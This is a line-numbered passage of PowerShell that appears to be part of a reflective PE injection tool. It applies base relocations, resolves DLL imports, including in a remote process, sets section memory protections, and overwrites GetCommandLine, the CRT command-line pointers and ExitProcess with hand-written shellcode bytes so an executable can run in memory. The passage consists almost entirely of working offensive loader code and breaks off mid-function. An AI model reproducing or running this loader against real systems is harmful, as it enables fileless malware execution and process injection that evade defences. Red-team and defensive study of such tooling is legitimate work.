  1505.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
  1506.         {
  1507.             $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
  1508.             $AddDifference = $false
  1509.         }
  1510.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
  1511.         {
  1512.             $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
  1513.         }
  1514.  
  1515.  
  1516.         [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
  1517.         while($true)
  1518.         {
  1519.  
  1520.             $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1521.  
  1522.             if ($BaseRelocationTable.SizeOfBlock -eq 0)
  1523.             {
  1524.                 break
  1525.             }
  1526.  
  1527.             [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
  1528.             $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
  1529.  
  1530.  
  1531.             for($i = 0; $i -lt $NumRelocations; $i++)
  1532.             {
  1533.  
  1534.                 $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
  1535.                 [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
  1536.  
  1537.  
  1538.                 [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
  1539.                 [UInt16]$RelocType = $RelocationInfo -band 0xF000
  1540.                 for ($j = 0; $j -lt 12; $j++)
  1541.                 {
  1542.                     $RelocType = [Math]::Floor($RelocType / 2)
  1543.                 }
  1544.  
  1545.  
  1546.  
  1547.  
  1548.                 if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  1549.                         -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
  1550.                 {
  1551.  
  1552.                     [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
  1553.                     [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
  1554.  
  1555.                     if ($AddDifference -eq $true)
  1556.                     {
  1557.                         [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1558.                     }
  1559.                     else
  1560.                     {
  1561.                         [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1562.                     }
  1563.  
  1564.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
  1565.                 }
  1566.                 elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
  1567.                 {
  1568.  
  1569.                     Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
  1570.                 }
  1571.             }
  1572.  
  1573.             $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
  1574.         }
  1575.     }
  1576.  
  1577.  
  1578.     Function Import-DllImports
  1579.     {
  1580.         Param(
  1581.         [Parameter(Position = 0, Mandatory = $true)]
  1582.         [System.Object]
  1583.         $PEInfo,
  1584.  
  1585.         [Parameter(Position = 1, Mandatory = $true)]
  1586.         [System.Object]
  1587.         $Win32Functions,
  1588.  
  1589.         [Parameter(Position = 2, Mandatory = $true)]
  1590.         [System.Object]
  1591.         $Win32Types,
  1592.  
  1593.         [Parameter(Position = 3, Mandatory = $true)]
  1594.         [System.Object]
  1595.         $Win32Constants,
  1596.  
  1597.         [Parameter(Position = 4, Mandatory = $false)]
  1598.         [IntPtr]
  1599.         $RemoteProcHandle
  1600.         )
  1601.  
  1602.         $RemoteLoading = $false
  1603.         if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
  1604.         {
  1605.             $RemoteLoading = $true
  1606.         }
  1607.  
  1608.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  1609.         {
  1610.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  1611.  
  1612.             while ($true)
  1613.             {
  1614.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  1615.  
  1616.  
  1617.                 if ($ImportDescriptor.Characteristics -eq 0 `
  1618.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  1619.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  1620.                         -and $ImportDescriptor.Name -eq 0 `
  1621.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  1622.                 {
  1623.                     Write-Verbose "Done importing DLL imports"
  1624.                     break
  1625.                 }
  1626.  
  1627.                 $ImportDllHandle = [IntPtr]::Zero
  1628.                 $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
  1629.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1630.  
  1631.                 if ($RemoteLoading -eq $true)
  1632.                 {
  1633.                     $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
  1634.                 }
  1635.                 else
  1636.                 {
  1637.                     $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
  1638.                 }
  1639.  
  1640.                 if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
  1641.                 {
  1642.                     throw "Error importing DLL, DLLName: $ImportDllPath"
  1643.                 }
  1644.  
  1645.  
  1646.                 [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
  1647.                 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics)
  1648.                 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1649.  
  1650.                 while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
  1651.                 {
  1652.                     $LoadByOrdinal = $false
  1653.                     [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
  1654.  
  1655.  
  1656.  
  1657.                     [IntPtr]$NewThunkRef = [IntPtr]::Zero
  1658.                     if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
  1659.                     {
  1660.                         [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff
  1661.                         $LoadByOrdinal = $true
  1662.                     }
  1663.                     elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
  1664.                     {
  1665.                         [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff
  1666.                         $LoadByOrdinal = $true
  1667.                     }
  1668.                     else
  1669.                     {
  1670.                         [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
  1671.                         $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
  1672.                         $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
  1673.                         $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
  1674.                     }
  1675.  
  1676.                     if ($RemoteLoading -eq $true)
  1677.                     {
  1678.                         [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
  1679.                     }
  1680.                     else
  1681.                     {
  1682.                         [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
  1683.                     }
  1684.  
  1685.                     if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
  1686.                     {
  1687.                         if ($LoadByOrdinal)
  1688.                         {
  1689.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
  1690.                         }
  1691.                         else
  1692.                         {
  1693.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
  1694.                         }
  1695.                     }
  1696.  
  1697.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
  1698.  
  1699.                     $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1700.                     [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1701.                     [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1702.  
  1703.  
  1704.  
  1705.                     if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
  1706.                     {
  1707.                         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
  1708.                         $ProcedureNamePtr = [IntPtr]::Zero
  1709.                     }
  1710.                 }
  1711.  
  1712.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  1713.             }
  1714.         }
  1715.     }
  1716.  
  1717.     Function Get-VirtualProtectValue
  1718.     {
  1719.         Param(
  1720.         [Parameter(Position = 0, Mandatory = $true)]
  1721.         [UInt32]
  1722.         $SectionCharacteristics
  1723.         )
  1724.  
  1725.         $ProtectionFlag = 0x0
  1726.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
  1727.         {
  1728.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1729.             {
  1730.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1731.                 {
  1732.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
  1733.                 }
  1734.                 else
  1735.                 {
  1736.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
  1737.                 }
  1738.             }
  1739.             else
  1740.             {
  1741.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1742.                 {
  1743.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
  1744.                 }
  1745.                 else
  1746.                 {
  1747.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
  1748.                 }
  1749.             }
  1750.         }
  1751.         else
  1752.         {
  1753.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1754.             {
  1755.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1756.                 {
  1757.                     $ProtectionFlag = $Win32Constants.PAGE_READWRITE
  1758.                 }
  1759.                 else
  1760.                 {
  1761.                     $ProtectionFlag = $Win32Constants.PAGE_READONLY
  1762.                 }
  1763.             }
  1764.             else
  1765.             {
  1766.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1767.                 {
  1768.                     $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
  1769.                 }
  1770.                 else
  1771.                 {
  1772.                     $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
  1773.                 }
  1774.             }
  1775.         }
  1776.  
  1777.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
  1778.         {
  1779.             $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
  1780.         }
  1781.  
  1782.         return $ProtectionFlag
  1783.     }
  1784.  
  1785.     Function Update-MemoryProtectionFlags
  1786.     {
  1787.         Param(
  1788.         [Parameter(Position = 0, Mandatory = $true)]
  1789.         [System.Object]
  1790.         $PEInfo,
  1791.  
  1792.         [Parameter(Position = 1, Mandatory = $true)]
  1793.         [System.Object]
  1794.         $Win32Functions,
  1795.  
  1796.         [Parameter(Position = 2, Mandatory = $true)]
  1797.         [System.Object]
  1798.         $Win32Constants,
  1799.  
  1800.         [Parameter(Position = 3, Mandatory = $true)]
  1801.         [System.Object]
  1802.         $Win32Types
  1803.         )
  1804.  
  1805.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1806.         {
  1807.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1808.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1809.             [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
  1810.  
  1811.             [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
  1812.             [UInt32]$SectionSize = $SectionHeader.VirtualSize
  1813.  
  1814.             [UInt32]$OldProtectFlag = 0
  1815.             Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
  1816.             $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
  1817.             if ($Success -eq $false)
  1818.             {
  1819.                 Throw "Unable to change memory protection"
  1820.             }
  1821.         }
  1822.     }
  1823.  
  1824.  
  1825.  
  1826.     Function Update-ExeFunctions
  1827.     {
  1828.         Param(
  1829.         [Parameter(Position = 0, Mandatory = $true)]
  1830.         [System.Object]
  1831.         $PEInfo,
  1832.  
  1833.         [Parameter(Position = 1, Mandatory = $true)]
  1834.         [System.Object]
  1835.         $Win32Functions,
  1836.  
  1837.         [Parameter(Position = 2, Mandatory = $true)]
  1838.         [System.Object]
  1839.         $Win32Constants,
  1840.  
  1841.         [Parameter(Position = 3, Mandatory = $true)]
  1842.         [String]
  1843.         $ExeArguments,
  1844.  
  1845.         [Parameter(Position = 4, Mandatory = $true)]
  1846.         [IntPtr]
  1847.         $ExeDoneBytePtr
  1848.         )
  1849.  
  1850.  
  1851.         $ReturnArray = @()
  1852.  
  1853.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1854.         [UInt32]$OldProtectFlag = 0
  1855.  
  1856.         [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
  1857.         if ($Kernel32Handle -eq [IntPtr]::Zero)
  1858.         {
  1859.             throw "Kernel32 handle null"
  1860.         }
  1861.  
  1862.         [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
  1863.         if ($KernelBaseHandle -eq [IntPtr]::Zero)
  1864.         {
  1865.             throw "KernelBase handle null"
  1866.         }
  1867.  
  1868.  
  1869.  
  1870.  
  1871.         $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1872.         $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1873.  
  1874.         [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
  1875.         [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
  1876.  
  1877.         if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
  1878.         {
  1879.             throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
  1880.         }
  1881.  
  1882.  
  1883.         [Byte[]]$Shellcode1 = @()
  1884.         if ($PtrSize -eq 8)
  1885.         {
  1886.             $Shellcode1 += 0x48
  1887.         }
  1888.         $Shellcode1 += 0xb8
  1889.  
  1890.         [Byte[]]$Shellcode2 = @(0xc3)
  1891.         $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
  1892.  
  1893.  
  1894.  
  1895.         $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1896.         $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1897.         $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
  1898.         $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
  1899.         $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
  1900.         $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
  1901.  
  1902.  
  1903.         [UInt32]$OldProtectFlag = 0
  1904.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1905.         if ($Success = $false)
  1906.         {
  1907.             throw "Call to VirtualProtect failed"
  1908.         }
  1909.  
  1910.         $GetCommandLineAAddrTemp = $GetCommandLineAAddr
  1911.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
  1912.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
  1913.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
  1914.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
  1915.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
  1916.  
  1917.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1918.  
  1919.  
  1920.  
  1921.         [UInt32]$OldProtectFlag = 0
  1922.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1923.         if ($Success = $false)
  1924.         {
  1925.             throw "Call to VirtualProtect failed"
  1926.         }
  1927.  
  1928.         $GetCommandLineWAddrTemp = $GetCommandLineWAddr
  1929.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
  1930.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
  1931.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
  1932.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
  1933.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
  1934.  
  1935.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1936.  
  1937.  
  1938.  
  1939.  
  1940.  
  1941.  
  1942.  
  1943.  
  1944.         $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1945.             , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1946.  
  1947.         foreach ($Dll in $DllList)
  1948.         {
  1949.             [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
  1950.             if ($DllHandle -ne [IntPtr]::Zero)
  1951.             {
  1952.                 [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
  1953.                 [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
  1954.                 if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
  1955.                 {
  1956.                     "Error, couldn't find _wcmdln or _acmdln"
  1957.                 }
  1958.  
  1959.                 $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1960.                 $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1961.  
  1962.  
  1963.                 $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
  1964.                 $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
  1965.                 $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1966.                 $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1967.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
  1968.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
  1969.                 $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
  1970.                 $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
  1971.  
  1972.                 $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1973.                 if ($Success = $false)
  1974.                 {
  1975.                     throw "Call to VirtualProtect failed"
  1976.                 }
  1977.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
  1978.                 $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1979.  
  1980.                 $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1981.                 if ($Success = $false)
  1982.                 {
  1983.                     throw "Call to VirtualProtect failed"
  1984.                 }
  1985.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
  1986.                 $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1987.             }
  1988.         }
  1989.  
  1990.  
  1991.  
  1992.  
  1993.  
  1994.  
  1995.         $ReturnArray = @()
  1996.         $ExitFunctions = @()
  1997.  
  1998.  
  1999.         [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
  2000.         if ($MscoreeHandle -eq [IntPtr]::Zero)
  2001.         {
  2002.             throw "mscoree handle null"
  2003.         }
  2004.         [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
  2005.         if ($CorExitProcessAddr -eq [IntPtr]::Zero)
  2006.         {
  2007.             Throw "CorExitProcess address not found"
  2008.         }
  2009.         $ExitFunctions += $CorExitProcessAddr
  2010.  
  2011.  
  2012.         [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
  2013.         if ($ExitProcessAddr -eq [IntPtr]::Zero)
  2014.         {
  2015.             Throw "ExitProcess address not found"
  2016.         }
  2017.         $ExitFunctions += $ExitProcessAddr
  2018.  
  2019.         [UInt32]$OldProtectFlag = 0
  2020.         foreach ($ProcExitFunctionAddr in $ExitFunctions)
  2021.         {
  2022.             $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
  2023.  
  2024.  
  2025.             [Byte[]]$Shellcode1 = @(0xbb)
  2026.             [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  2027.  
  2028.             if ($PtrSize -eq 8)
  2029.             {
  2030.                 [Byte[]]$Shellcode1 = @(0x48, 0xbb)
  2031.                 [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  2032.             }
  2033.             [Byte[]]$Shellcode3 = @(0xff, 0xd3)
  2034.             $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
  2035.  
  2036.             [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
  2037.             if ($ExitThreadAddr -eq [IntPtr]::Zero)
  2038.             {
  2039.                 Throw "ExitThread address not found"
  2040.             }
  2041.  
  2042.             $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2043.             if ($Success -eq $false)
  2044.             {
  2045.                 Throw "Call to VirtualProtect failed"
  2046.             }
  2047.  
  2048.  
  2049.             $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  2050.             $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
  2051.             $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
  2052.  
  2053.  
  2054.  
  2055.             Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
  2056.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
  2057.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
  2058.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2059.             Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
  2060.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
  2061.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
  2062.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2063.             Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
  2064.  
  2065.             $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2066.         }
  2067.  
  2068.  
  2069.         Write-Output $ReturnArray
  2070.     }
  2071.  
  2072.  
  2073.  
  2074.  
  2075.     Function Copy-ArrayOfMemAddresses
  2076.     {
  2077.         Param(
  2078.         [Parameter(Position = 0, Mandatory = $true)]
  2079.         [Array[]]
  2080.         $CopyInfo,
  2081.  
  2082.         [Parameter(Position = 1, Mandatory = $true)]
  2083.         [System.Object]
  2084.         $Win32Functions,
  2085.  
  2086.         [Parameter(Position = 2, Mandatory = $true)]
  2087.         [System.Object]
  2088.         $Win32Constants
  2089.         )
  2090.  
  2091.         [UInt32]$OldProtectFlag = 0
  2092.         foreach ($Info in $CopyInfo)
  2093.         {
  2094.             $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2095.             if ($Success -eq $false)
  2096.             {
